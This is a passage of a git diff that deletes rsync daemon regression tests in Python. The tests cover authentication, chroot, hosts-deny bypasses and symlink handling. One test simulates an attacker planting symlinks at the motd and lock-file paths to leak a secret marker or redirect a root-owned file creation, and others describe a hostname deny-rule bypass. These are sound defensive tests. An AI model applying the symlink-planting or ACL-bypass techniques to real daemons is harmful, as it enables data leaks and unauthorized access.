f'exist and must not match, but its tail was read as a separate '\n-              f'\"{USER}:deny\" rule and the transfer was refused ({ctx})')\n-if landed.read_text() != DATA:\n-    test_fail(f'transfer was allowed but delivered the wrong content ({ctx})')\n-if proc.returncode != 0:\n-    test_fail(f'transfer was allowed but failed ({ctx})')\n-\n-# Group control: everything the group half depends on must work first.\n-proc, landed = push('grpctl', grpc, as_user=REALUSER)\n-ctx = f'rc={proc.returncode}, output={proc.stdout.strip()[:300]!r}'\n-if proc.returncode != 0 or not landed.is_file():\n-    test_fail(f'group positive control failed: \"@*:rw\" should admit {REALUSER} '\n-              'via any of its groups.  Either the daemon could not resolve that '\n-              'name to a uid, could not enumerate its groups, rejected its '\n-              f'secret, or could not store the file ({ctx})')\n-\n-# The reported direction: the spaced group rule must actually DENY.\n-proc, landed = push('grpdeny', grp, as_user=REALUSER)\n-ctx = f'rc={proc.returncode}, output={proc.stdout.strip()[:300]!r}'\n-if landed.is_file() or proc.returncode == 0:\n-    test_fail('a group deny rule containing a space did not fire: '\n-              f'\"@[! []*:deny\" must match a real group of {REALUSER} and '\n-              'refuse the transfer, but the whitespace split turned it into '\n-              f'\"@[!\" and \"[]*:deny\", neither of which matches, so the later '\n-              f'\"{REALUSER}:rw\" granted access ({ctx})')\n-# ...and it must be refused BY THE DENY.  A client is told only \"auth failed\"\n-# whatever the server decided: \"denied by rule\", \"no matching rule\" and\n-# \"password mismatch\" all reach it identically, so a parse yielding no rules at\n-# all would satisfy a check on the client output while the deny never matched\n-# anything.  Only the daemon log names the reason.\n-logfile = SCRATCHDIR / 'rsyncd.log'\n-log = logfile.read_text(errors='replace') if logfile.is_file() else ''\n-if not [ln for ln in log.splitlines()\n-        if 'auth failed on module grpdeny' in ln\n-        and f'for {REALUSER}: denied by rule' in ln]:\n-    test_fail('the transfer was refused, but not by the deny rule: the daemon '\n-              f'log has no \"auth failed on module grpdeny ... for {REALUSER}: '\n-              'denied by rule\".  A refusal for any other reason -- above all '\n-              '\"no matching rule\", which is what a parse yielding no rules at '\n-              'all produces -- would make this case pass without the deny ever '\n-              f'matching ({ctx}, log={log.strip()[-500:]!r})')\n-\n-print('a leading comma in \"auth users\" splits on commas alone')\ndiff --git a/testsuite/daemon-auth_test.py b/testsuite/daemon-auth_test.py\ndeleted file mode 100644\nindex 5075f1c..0000000\n--- a/testsuite/daemon-auth_test.py\n+++ /dev/null\n@@ -1,92 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: auth users, secrets file, strict modes.\n-\n-A module with auth users + a secrets file must accept the right password,\n-reject a wrong one, and (with the default strict modes) refuse a\n-world-readable secrets file. Authentication happens in the daemon protocol, so\n-it works over the default secure stdio-pipe transport.\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR,\n-    make_tree, makepath, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    verify_dirs, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12888\n-\n-# When a daemon module needs auth and no password is available, rsync falls back\n-# to an interactive getpass() prompt that reads /dev/tty directly -- which the\n-# test harness cannot redirect, so it would hang `make coverage` (or any run\n-# with a controlling terminal). Give every client a fallback password via the\n-# environment so it never prompts: the --password-file cases below override it,\n-# and the invalid-credentials case uses it and is correctly rejected.\n-os.environ['RSYNC_PASSWORD'] = 'env-fallback-wrong'\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=3)\n-\n-authdir = SCRATCHDIR / 'authdest'\n-secrets = SCRATCHDIR / 'rsyncd.secrets'\n-secrets.write_text('tuser:secretpass\\n')\n-secrets.chmod(0o600)\n-\n-conf = write_daemon_conf([\n-    ('auth', {'path': authdir, 'read only': 'no',\n-              'auth users': 'tuser', 'secrets file': secrets}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-userurl = url.replace('rsync://', 'rsync://tuser@', 1)\n-\n-\n-def pwfile(name, text):\n-    p = SCRATCHDIR / name\n-    p.write_text(text)\n-    p.chmod(0o600)\n-    return p\n-\n-\n-def push(pw, **kw):\n-    rmtree(authdir)\n-    makepath(authdir)\n-    return subprocess.run(\n-        rsync_argv('-a', f'--password-file={pw}', f'{src}/', f'{userurl}auth/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True, **kw)\n-\n-\n-# --- correct password succeeds ----------------------------------------------\n-ok = pwfile('pw.ok', 'secretpass\\n')\n-proc = push(ok)\n-if proc.returncode not in (0, 23):\n-    test_fail(f\"auth with the correct password failed: {proc.stderr}\")\n-verify_dirs(src, authdir, label=\"auth success\")\n-\n-# --- wrong password is rejected ---------------------------------------------\n-bad = pwfile('pw.bad', 'wrongpass\\n')\n-proc = push(bad)\n-if proc.returncode == 0:\n-    test_fail(\"auth with the wrong password unexpectedly succeeded\")\n-\n-# --- a request with invalid credentials is rejected ------------------------\n-# Local user (not an auth user) with the wrong env-supplied password; rejected\n-# without ever prompting on the tty.\n-proc = subprocess.run(\n-    rsync_argv('-a', f'{src}/', f'{url}auth/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True,\n-    stdin=subprocess.DEVNULL)\n-if proc.returncode == 0:\n-    test_fail(\"a request with invalid credentials succeeded against an \"\n-              \"auth-users module\")\n-\n-# --- strict modes rejects a world-readable secrets file ---------------------\n-secrets.chmod(0o644)\n-proc = push(ok)\n-if proc.returncode == 0:\n-    test_fail(\"strict modes did not reject a world-readable secrets file\")\n-secrets.chmod(0o600)\n-\n-print(\"daemon-auth: auth users / secrets file / strict modes verified\")\ndiff --git a/testsuite/daemon-chroot-acl_test.py b/testsuite/daemon-chroot-acl_test.py\ndeleted file mode 100644\nindex f477145..0000000\n--- a/testsuite/daemon-chroot-acl_test.py\n+++ /dev/null\n@@ -1,144 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/daemon-chroot-acl.test.\n-#\n-# Regression test for GHSA-rjfm-3w2m-jf4f: a hostname-based \"hosts deny\"\n-# rule must still match when the daemon performs a 'daemon chroot' and\n-# the chroot does not contain the NSS files glibc needs for reverse\n-# DNS. Pre-fix, reverse DNS happened *after* the chroot, the lookup\n-# failed, client_name() returned \"UNKNOWN\", and a deny rule referring\n-# to the connecting hostname silently failed to match.\n-\n-import os\n-import platform\n-import shutil\n-import subprocess\n-import sys\n-\n-from rsyncfns import (\n-    SCRATCHDIR, TODIR,\n-    require_tcp, rmtree, rsync_argv, start_test_daemon, test_fail, test_skipped,\n-)\n-\n-\n-DAEMON_PORT = 12878\n-\n-# This test fundamentally needs a real TCP peer address: the daemon reverse-\n-# resolves the connecting IP for a hostname-based \"hosts deny\" ACL check.\n-# The stdio-pipe transport has no peer IP, so only run under --use-tcp.\n-require_tcp(\"needs a real TCP peer address for reverse-DNS hostname ACL; \"\n-            \"run with --use-tcp\")\n-\n-if platform.system() != 'Linux':\n-    test_skipped(\"test is Linux-specific (uses chroot+unshare)\")\n-\n-# Need CAP_SYS_CHROOT. Re-exec under a user namespace if not root.\n-def _can_chroot() -> bool:\n-    proc = subprocess.run(['chroot', '/', '/bin/true'],\n-                          stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    return proc.returncode == 0\n-\n-\n-if not _can_chroot():\n-    if not os.environ.get('RSYNC_UNSHARED'):\n-        unshare = shutil.which('unshare')\n-        if unshare is not None:\n-            probe = subprocess.run(\n-                [unshare, '--user', '--map-root-user', 'true'],\n-                capture_output=True,\n-            )\n-            if probe.returncode == 0:\n-                print(\"Re-running under unshare --user --map-root-user...\")\n-                env = os.environ.copy()\n-                env['RSYNC_UNSHARED'] = '1'\n-                os.execvpe(\n-                    unshare,\n-                    [unshare, '--user', '--map-root-user',\n-                     sys.executable, __file__],\n-                    env,\n-                )\n-    test_skipped(\"need CAP_SYS_CHROOT (root or unshare --user --map-root-user)\")\n-\n-\n-# Find what 127.0.0.1 reverse-resolves to.\n-def _client_hostname() -> str:\n-    try:\n-        out = subprocess.check_output(['getent', 'hosts', '127.0.0.1'], text=True)\n-    except (subprocess.CalledProcessError, FileNotFoundError):\n-        return ''\n-    for line in out.splitlines():\n-        parts = line.split()\n-        if len(parts) >= 2:\n-            return parts[1]\n-    return ''\n-\n-\n-client_hostname = _client_hostname()\n-if not client_hostname or client_hostname == '127.0.0.1':\n-    test_skipped(\"no reverse DNS for 127.0.0.1\")\n-\n-chrootdir = SCRATCHDIR / 'chroot'\n-rmtree(chrootdir)\n-(chrootdir / 'modroot').mkdir(parents=True)\n-(chrootdir / 'modroot' / 'file1').write_text(\"from chroot\\n\")\n-\n-conf = SCRATCHDIR / 'test-rsyncd.conf'\n-logfile = SCRATCHDIR / 'rsyncd.log'\n-\n-\n-def write_conf(global_rev: str, module_rev: str) -> None:\n-    conf.write_text(f\"\"\"\\\n-use chroot = no\n-log file = {logfile}\n-daemon chroot = {chrootdir}\n-reverse lookup = {global_rev}\n-hosts deny = {client_hostname}\n-max verbosity = 4\n-\n-[chrootmod]\n-    path = /modroot\n-    read only = yes\n-    reverse lookup = {module_rev}\n-\"\"\")\n-\n-\n-def run_check(label: str) -> bool:\n-    if logfile.exists():\n-        logfile.unlink()\n-    rmtree(TODIR)\n-    TODIR.mkdir()\n-\n-    # rsyncd re-reads its config file on each accepted connection, so\n-    # rewriting `conf` between scenarios is enough -- we keep the one\n-    # daemon for both.\n-    proc = subprocess.run(\n-        rsync_argv('-av', f'{url}chrootmod/', f'{TODIR}/'),\n-        capture_output=True, text=True,\n-    )\n-    out = proc.stdout + proc.stderr\n-\n-    print(f\"----- {label} (rsync exit {proc.returncode}):\")\n-    print(out)\n-    print(\"----- daemon log:\")\n-    if logfile.exists():\n-        print(logfile.read_text())\n-    print(\"-----\")\n-\n-    return '@ERROR' in out and 'access denied' in out\n-\n-\n-# Spin up the daemon once; we'll rewrite `conf` between scenarios and rely\n-# on rsyncd's per-connection re-read of the config file.\n-write_conf('yes', 'yes')\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# Scenario A: global reverse lookup. Covered by b6abdb4c.\n-if not run_check(\"Scenario A (global reverse lookup = yes)\"):\n-    test_fail(\"Scenario A: hostname deny rule was bypassed\")\n-\n-# Scenario B: only per-module reverse-lookup enabled.\n-write_conf('no', 'yes')\n-if not run_check(\"Scenario B (per-module reverse lookup only)\"):\n-    test_fail(\n-        \"Scenario B: hostname deny rule was bypassed (per-module reverse \"\n-        \"lookup with daemon chroot still has the bypass)\"\n-    )\ndiff --git a/testsuite/daemon-chroot-munge-default_test.py b/testsuite/daemon-chroot-munge-default_test.py\ndeleted file mode 100644\nindex 97feed3..0000000\n--- a/testsuite/daemon-chroot-munge-default_test.py\n+++ /dev/null\n@@ -1,107 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Pin WHEN the daemon applies default symlink munging, by config regime.\n-\n-The rsyncd.conf(5) `use chroot` entry says:\n-\n-  \"If the daemon is serving the / dir (either directly or due to being chrooted\n-   to the module's path), rsync does not do any path sanitizing or (default)\n-   munging.  When it has to limit access to a particular subdir (either due to\n-   chroot being disabled or having an inside-chroot path set), rsync will munge\n-   symlinks (by default) and sanitize paths.\"\n-\n-This was flagged as a suspected code mismatch during the doc audit.  It is NOT a\n-mismatch: clientserver.c derives `module_dirlen` (0 when the inside-chroot path\n-is \"/\", >0 for a real subdir) and sets\n-    munge_symlinks default = !use_chroot || module_dirlen\n-so the doc's regime split is exactly right.  This test confirms it by observing\n-the default (no explicit `munge symlinks`) across three regimes:\n-\n-  A. use chroot = no            -> module_dirlen>0 -> munge ON\n-  B. use chroot = yes, path=DIR -> chrooted to DIR, inside path \"/\", len 0 -> munge OFF\n-  C. use chroot = yes, path=BASE/./SUB -> inside path \"SUB\", len>0 -> munge ON\n-\n-Regimes B and C need root (chroot).  A runs anywhere.  The observable is whether\n-an uploaded symlink is stored verbatim or with the /rsyncd-munged/ prefix.\n-(Path sanitizing -- the other half of the same sentence -- is exercised by the\n-operator-path-* and daemon-scan-dir-escape tests.)\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR,\n-    rmtree, rsync_argv, start_test_daemon, test_fail, test_skipped,\n-    write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12911\n-LINKVAL = 'realfile'        # a plain rel-within target\n-\n-base = SCRATCHDIR / 'chroot-munge'\n-rmtree(base)\n-base.mkdir(parents=True)\n-\n-# Upload source: one symlink we can inspect after it lands.\n-srcup = base / 'srcup'\n-srcup.mkdir()\n-os.symlink(LINKVAL, srcup / 'sl')\n-\n-is_root = os.geteuid() == 0\n-\n-# Module A: no chroot.  Modules B/C: chroot (root only).\n-mod_a_dir = base / 'a_root'\n-mod_b_dir = base / 'b_root'\n-mod_c_base = base / 'c_base'\n-mod_c_sub = mod_c_base / 'sub'\n-for d in (mod_a_dir, mod_b_dir, mod_c_base, mod_c_sub):\n-    d.mkdir(parents=True)\n-\n-modules = [('a_nochroot', {'path': str(mod_a_dir), 'use chroot': 'no',\n-                           'read only': 'no'})]\n-if is_root:\n-    modules += [\n-        ('b_chroot_root', {'path': str(mod_b_dir), 'use chroot': 'yes',\n-                           'read only': 'no'}),\n-        ('c_chroot_sub', {'path': f'{mod_c_base}/./sub', 'use chroot': 'yes',\n-                          'read only': 'no'}),\n-    ]\n-\n-conf = write_daemon_conf(modules, name='chroot-munge.conf')\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def stored_link(module, landing_dir):\n-    \"\"\"Upload the symlink into `module`; return the value as stored on disk.\"\"\"\n-    subprocess.run(rsync_argv('-al', f'{srcup}/', f'{url}{module}/'),\n-                   stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n-    sl = landing_dir / 'sl'\n-    if not sl.is_symlink():\n-        test_fail(f\"{module}: uploaded symlink did not land at {sl}\")\n-    return os.readlink(sl)\n-\n-\n-MUNGED = '/rsyncd-munged/' + LINKVAL\n-\n-# A: no chroot -> default munge ON.\n-got = stored_link('a_nochroot', mod_a_dir)\n-if got != MUNGED:\n-    test_fail(f\"use chroot=no: expected default munge ({MUNGED!r}), stored {got!r}\")\n-\n-if is_root:\n-    # B: chrooted to the module path, inside path \"/\" -> default munge OFF.\n-    got = stored_link('b_chroot_root', mod_b_dir)\n-    if got != LINKVAL:\n-        test_fail(f\"use chroot=yes serving '/': expected NO munge ({LINKVAL!r}), \"\n-                  f\"stored {got!r}\")\n-    # C: chroot with a /./ inner subdir -> default munge ON.\n-    got = stored_link('c_chroot_sub', mod_c_sub)\n-    if got != MUNGED:\n-        test_fail(f\"use chroot=yes with inside-path 'sub': expected default munge \"\n-                  f\"({MUNGED!r}), stored {got!r}\")\n-    print(\"daemon-chroot-munge-default: default munge OFF when serving '/', ON \"\n-          \"for a non-chroot module and for a chroot module with an inside subdir \"\n-          \"-- the use-chroot doc regime split is accurate\")\n-else:\n-    test_skipped(\"chroot regimes (B/C) need root; verified the no-chroot regime \"\n-                 \"munges by default\")\ndiff --git a/testsuite/daemon-chroot_test.py b/testsuite/daemon-chroot_test.py\ndeleted file mode 100644\nindex 0cea480..0000000\n--- a/testsuite/daemon-chroot_test.py\n+++ /dev/null\n@@ -1,119 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: `use chroot = yes` and the `path = /outer/./inner`\n-chroot-with-inner-subdir syntax.\n-\n-Every other daemon test in the suite forces `use chroot = no` (via\n-write_daemon_conf()'s globals) so the chroot setup in clientserver.c\n-rsync_module() -- the use_chroot path-split (~866-887), the actual\n-chroot(2) call (~1003-1012), and the `temp dir` module option -- was\n-never reached.  Those lines are also where the per-connection child\n-loses the ability to write its .gcda counters (the build-tree paths\n-are outside the chroot), so a companion gcov_flush() lands just before\n-chroot() in clientserver.c; this test exercises that flush point and\n-everything before it.\n-\n-Three modules:\n-  chr        use chroot = yes, plain path           -> 880-887, 1003-1012\n-  chrinner   use chroot = yes, path = /outer/./in   -> 868-877 split\n-  chrtmp     use chroot = yes, temp dir = /tmpd     -> 1093-1095 lp_temp_dir\n-\n-Requires CAP_SYS_CHROOT (root in the test container); skips cleanly\n-without it.\n-\"\"\"\n-\n-import ctypes\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, FROMDIR,\n-    claim_ports, get_rootuid, get_testuid, make_tree, makepath, require_tcp,\n-    rmtree, rsync_argv, start_test_daemon, test_fail, test_skipped,\n-    write_daemon_conf,\n-)\n-\n-if get_testuid() != get_rootuid():\n-    test_skipped(\"use chroot = yes needs root (CAP_SYS_CHROOT)\")\n-\n-# Probe chroot() directly so a rootless/seccomp'd container that maps uid 0\n-# but withholds CAP_SYS_CHROOT skips cleanly instead of failing.\n-pid = os.fork()\n-if pid == 0:\n-    try:\n-        ctypes.CDLL(None).chroot(b\"/\")\n-        os._exit(0)\n-    except Exception:\n-        os._exit(1)\n-_, st = os.waitpid(pid, 0)\n-if not (os.WIFEXITED(st) and os.WEXITSTATUS(st) == 0):\n-    test_skipped(\"chroot(2) not permitted in this environment\")\n-\n-require_tcp(\"daemon chroot path needs the real start_daemon socket flow\")\n-\n-PORT = 19886\n-claim_ports(PORT)\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=1)\n-\n-# Module roots.  For the /./ form the OUTER path is what gets chroot()'d\n-# and the INNER path is chdir'd inside it.\n-root_chr = SCRATCHDIR / 'chroot-plain'\n-root_outer = SCRATCHDIR / 'chroot-outer'\n-root_inner = root_outer / 'inner'\n-root_tmp = SCRATCHDIR / 'chroot-tmp'\n-tmpd = root_tmp / 'tmpd'      # `temp dir` is interpreted INSIDE the chroot\n-for d in (root_chr, root_inner, root_tmp, tmpd):\n-    rmtree(d)\n-makepath(root_chr, root_inner, root_tmp, tmpd)\n-\n-mods = [\n-    ('chr', {\n-        'path': str(root_chr),\n-        'use chroot': 'yes',\n-        'read only': 'no',\n-    }),\n-    ('chrinner', {\n-        # /outer/./inner: chroot to /outer, chdir to /inner inside.\n-        'path': f'{root_outer}/./inner',\n-        'use chroot': 'yes',\n-        'read only': 'no',\n-    }),\n-    ('chrtmp', {\n-        'path': str(root_tmp),\n-        'use chroot': 'yes',\n-        'read only': 'no',\n-        # Relative to the chroot root (= module path).\n-        'temp dir': '/tmpd',\n-    }),\n-]\n-conf = write_daemon_conf(mods, name='chroot.conf')\n-url = start_test_daemon(conf, PORT)\n-\n-\n-def push(module, dest):\n-    r = subprocess.run(rsync_argv('-r', f'{src}/', f'{url}{module}/'),\n-                       capture_output=True, text=True)\n-    if r.returncode != 0:\n-        test_fail(f\"push to [{module}] (use chroot=yes) failed \"\n-                  f\"(rc={r.returncode}):\\n{r.stderr}\")\n-    if not any(dest.iterdir()):\n-        test_fail(f\"push to [{module}] wrote nothing into {dest}\")\n-\n-\n-push('chr', root_chr)\n-push('chrinner', root_inner)\n-push('chrtmp', root_tmp)\n-\n-# Pull from a chrooted module too (sender side under chroot).\n-pull_dst = SCRATCHDIR / 'pull-chr'\n-rmtree(pull_dst); makepath(pull_dst)\n-r = subprocess.run(rsync_argv('-r', f'{url}chr/', f'{pull_dst}/'),\n-                   capture_output=True, text=True)\n-if r.returncode != 0:\n-    test_fail(f\"pull from [chr] failed (rc={r.returncode}):\\n{r.stderr}\")\n-if not any(pull_dst.iterdir()):\n-    test_fail(\"pull from [chr] produced nothing\")\n-\n-print(\"daemon-chroot: use chroot=yes (plain + /./inner + temp dir) push+pull ok\")\ndiff --git a/testsuite/daemon-config-symlink_test.py b/testsuite/daemon-config-symlink_test.py\ndeleted file mode 100644\nindex 9b7376c..0000000\n--- a/testsuite/daemon-config-symlink_test.py\n+++ /dev/null\n@@ -1,126 +0,0 @@\n-#!/usr/bin/env python3\n-# Daemon ancillary opens (motd / early-input / lock / --config rsyncd.conf)\n-# must not follow planted symlinks at attacker-controlled path components.\n-#\n-# Threat: admin-configured paths in\n-# rsyncd.conf or on the daemon's command line are operator-supplied, but the\n-# /tmp-class trust model applies (admin reasonably picks /tmp or another\n-# shared-parent path for one-off use; the attacker plants in that parent).\n-# Each of these opens is plain fopen()/open() without O_NOFOLLOW or path\n-# walk:\n-#   clientserver.c:160   fopen(motd, \"r\")\n-#   clientserver.c:269   fopen(early_input_file, \"rb\")\n-#   connection.c:33      open(lock_file, O_RDWR|O_CREAT, 0600)\n-#   params.c:583         fopen(rsyncd.conf, \"r\")\n-#\n-# This test exercises the MOTD case as the representative -- the leak signal\n-# is direct: when the planted symlink is followed, its target's bytes are\n-# read and sent to the connecting client as the message of the day. With the\n-# fix the open is refused; the daemon either sends no motd or errors, but\n-# the leaked content does not reach the client. The other three call sites\n-# (early-input, lock, --config) are covered by the SAME path-walk helper\n-# applied uniformly; their behaviour is not separately exercised here.\n-#\n-# Requires root for the cross-uid plant; skips otherwise.\n-\n-import os\n-import pwd\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, make_tree, rmtree, rsync_argv, start_test_daemon,\n-    test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12901\n-MARKER = \"AUDIT_MOTD_LEAK_MARKER_DO_NOT_DISCLOSE\"\n-\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a symlink owned by a non-self uid \"\n-                 \"(the attacker simulation)\")\n-\n-NOBODY_UID = None\n-for name in ('nobody', 'nfsnobody', 'daemon'):\n-    try:\n-        u = pwd.getpwnam(name).pw_uid\n-        if u != 0 and u != os.geteuid():\n-            NOBODY_UID = u\n-            break\n-    except KeyError:\n-        continue\n-if NOBODY_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-\n-# Daemon setup\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=1)\n-\n-base = SCRATCHDIR / 'daemoncfg'\n-rmtree(base)\n-base.mkdir()\n-plants = base / 'plants'\n-plants.mkdir()\n-modpath = base / 'mod'\n-modpath.mkdir()\n-\n-# The victim file. The attacker plants a symlink at the motd path pointing\n-# here; the file's content is the unique marker. If the marker reaches the\n-# connecting client, the leak fired.\n-victim = plants / 'motd_victim'\n-victim.write_text(MARKER + \"\\n\")\n-os.chmod(victim, 0o600)\n-\n-motd_plant = plants / 'motd_plant'\n-os.symlink(victim, motd_plant)\n-os.lchown(motd_plant, NOBODY_UID, NOBODY_UID)\n-\n-# Lock-file plant.  The daemon uses 'lock file =' for max-connections gating\n-# (connection.c:33: open(fname, O_RDWR|O_CREAT, 0600)) -- only when\n-# max_connections > 0, so we set max_connections=5 below to force the open.\n-# A planted symlink at the lock-file path redirects the daemon's\n-# O_CREAT-open to an attacker-chosen path.  We plant a symlink pointing at\n-# a victim-directory entry inside our scratch tree; if the daemon followed\n-# it, the file gets created at the planted target on first client connect.\n-lock_victim_dir = base / 'lock_victim'\n-lock_victim_dir.mkdir()\n-lock_plant = plants / 'lock_plant'\n-os.symlink(lock_victim_dir / 'leaked_lockfile', lock_plant)\n-os.lchown(lock_plant, NOBODY_UID, NOBODY_UID)\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': modpath, 'read only': 'yes',\n-              'max connections': '5'})],\n-    globals={'motd file': str(motd_plant),\n-             'lock file': str(lock_plant)},\n-)\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# Connect with the rsync client; the daemon will (or won't) send the motd\n-# content to the client during connection setup. Listing the module triggers\n-# motd, and -- since max_connections > 0 on `mod` -- ALSO triggers the lock-\n-# file open via claim_connection().\n-proc = subprocess.run(\n-    rsync_argv(url + 'mod/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n-\n-if MARKER in proc.stdout or MARKER in proc.stderr:\n-    test_fail(\n-        f\"daemon followed a planted motd symlink (owned by uid {NOBODY_UID}): \"\n-        f\"the marker {MARKER!r} from {victim} was read via the symlink and \"\n-        \"sent to the connecting client as the message of the day. Fix: refuse \"\n-        \"planted symlinks at the daemon motd open (and analogously for \"\n-        \"early-input / lock / --config).\")\n-\n-# Did the daemon's claim_connection() follow the planted lock-file symlink\n-# and create a file at the attacker-chosen location?\n-leaked_lockfile = lock_victim_dir / 'leaked_lockfile'\n-if leaked_lockfile.exists():\n-    test_fail(\n-        f\"daemon followed a planted lock-file symlink (owned by uid \"\n-        f\"{NOBODY_UID}): {lock_plant} -> {leaked_lockfile} was traversed by \"\n-        f\"claim_connection()'s open(O_CREAT) at connection.c:33, creating a \"\n-        f\"root-owned file at the attacker-chosen path. Fix: refuse planted \"\n-        \"symlinks at the daemon lock-file open.\")\ndiff --git a/testsuite/daemon-config_test.py b/testsuite/daemon-config_test.py\ndeleted file mode 100644\nindex b680c73..0000000\n--- a/testsuite/daemon-config_test.py\n+++ /dev/null\n@@ -1,52 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: the &include config directive (params.c include_config /\n-parse_directives) and a module whose path doesn't exist (clientserver.c\n-path_failure).\n-\n-Uses a hand-written rsyncd.conf because &include is a directive line, not a\n-`name = value` parameter.\n-\"\"\"\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR,\n-    make_tree, rmtree, rsync_argv, start_test_daemon, test_fail,\n-)\n-\n-DAEMON_PORT = 12893\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=2)\n-\n-inc = SCRATCHDIR / 'included.conf'\n-inc.write_text(f\"[inc-mod]\\n\\tpath = {src}\\n\\tread only = yes\\n\\tcomment = via-include\\n\")\n-\n-conf = SCRATCHDIR / 'daemon-config.conf'\n-conf.write_text(\n-    f\"pid file = {SCRATCHDIR}/rsyncd.pid\\n\"\n-    \"use chroot = no\\n\"\n-    \"hosts allow = localhost 127.0.0.0/8\\n\"\n-    f\"log file = {SCRATCHDIR}/rsyncd.log\\n\"\n-    f\"&include {inc}\\n\"\n-    f\"\\n[badpath]\\n\\tpath = {SCRATCHDIR}/no-such-dir\\n\\tread only = yes\\n\"\n-)\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# &include pulled in inc-mod: it must be listable and present in the module list.\n-proc = subprocess.run(rsync_argv('-r', f'{url}inc-mod/'),\n-                      stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)\n-if proc.returncode != 0:\n-    test_fail(f\"&include-defined module not reachable: {proc.stderr}\")\n-proc = subprocess.run(rsync_argv(url), capture_output=True, text=True)\n-if 'inc-mod' not in proc.stdout:\n-    test_fail(f\"&include-defined module absent from the listing:\\n{proc.stdout}\")\n-\n-# A module whose path does not exist must fail the connection (path_failure).\n-proc = subprocess.run(rsync_argv('-r', f'{url}badpath/'),\n-                      stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True)\n-if proc.returncode == 0:\n-    test_fail(\"a module with a non-existent path unexpectedly served a connection\")\n-\n-print(\"daemon-config: &include directive + bad-path failure verified\")\ndiff --git a/testsuite/daemon-copy-links-symlink_test.py b/testsuite/daemon-copy-links-symlink_test.py\ndeleted file mode 100644\nindex a79fa44..0000000\n--- a/testsuite/daemon-copy-links-symlink_test.py\n+++ /dev/null\n@@ -1,65 +0,0 @@\n-#!/usr/bin/env python3\n-# A daemon must follow an IN-TREE symlink in its served module when the client\n-# asks to dereference it (-L copy-links / -k copy-dirlinks) -- the symlink is\n-# inside the operator's own served tree, which 3.4.x follows.\n-#\n-# A/B + fuzzer-discovered 3.5 regression (abdiff --fuzz: 16 candidates, one root\n-# cause): an early per-component O_NOFOLLOW resolver made the daemon SENDER refuse\n-# to follow the in-tree dir-symlink that -L/-k must dereference (exit 23, files\n-# lost; the -L pull case could even exit 0 while SILENTLY dropping the symlinked\n-# content).  The secure resolver now follows in-tree directory symlinks on every\n-# platform, so -L/-k over the daemon transport works uniformly; 3.4.x is unaffected.\n-#\n-# Same root cause as the local -K (keep-dirlinks-symlinked-dest) and -aR\n-# (relative-symlinked-parent) regressions, but a BROADER surface: it adds -L and\n-# -k, over the DAEMON transport (the local -L/-k paths are unaffected).  No root;\n-# uses the standard test-daemon seam (no real TCP in the default mode).\n-\n-import os\n-\n-from rsyncfns import (SCRATCHDIR, assert_same, get_rootgid, get_rootuid,\n-                      get_testuid, makepath, rmtree, run_rsync,\n-                      start_test_daemon, test_fail)\n-\n-DAEMON_PORT = 12898\n-base = SCRATCHDIR / 'daemon_copylinks'\n-rmtree(base)\n-mod = base / 'mod'\n-makepath(mod / 'dir' / 'sub', base / 'dest')\n-(mod / 'dir' / 'a.txt').write_text('payload a\\n')\n-(mod / 'dir' / 'sub' / 'b.txt').write_text('payload b\\n')\n-os.symlink('dir', mod / 'dir_link')          # in-tree dir-symlink within the module\n-\n-# When the suite runs as root (e.g. the CI fleet's sudo pass) a use-chroot=no\n-# daemon otherwise drops to nobody and can't read the root-owned module, so the\n-# sender fails with EACCES on every file -- nothing to do with the symlink.\n-# Pin uid/gid to root in that case, as build_rsyncd_conf() does.  Non-root\n-# cannot set uid/gid (and doesn't need to: it owns the module).\n-root = get_testuid() == get_rootuid()\n-ids = f\"uid = {get_rootuid()}\\ngid = {get_rootgid()}\" if root else \"\"\n-\n-conf = base / 'copylinks.conf'\n-conf.write_text(f\"\"\"\\\n-pid file = {base}/rsyncd.pid\n-use chroot = no\n-{ids}\n-log file = {base}/rsyncd.log\n-\n-[m]\n-    path = {mod}\n-    read only = yes\n-    hosts allow = 127.0.0.1\n-\"\"\")\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# -L (copy-links): dir_link must arrive as a real directory with its content.\n-# check=False: the fallback regression manifests either as exit 23 or as a\n-# silent exit-0 partial copy -- assert on the resulting tree either way.\n-run_rsync('-aL', f'{url}m/', f'{base}/dest/', check=False)\n-\n-for rel in ('dir_link/a.txt', 'dir_link/sub/b.txt'):\n-    if not (base / 'dest' / 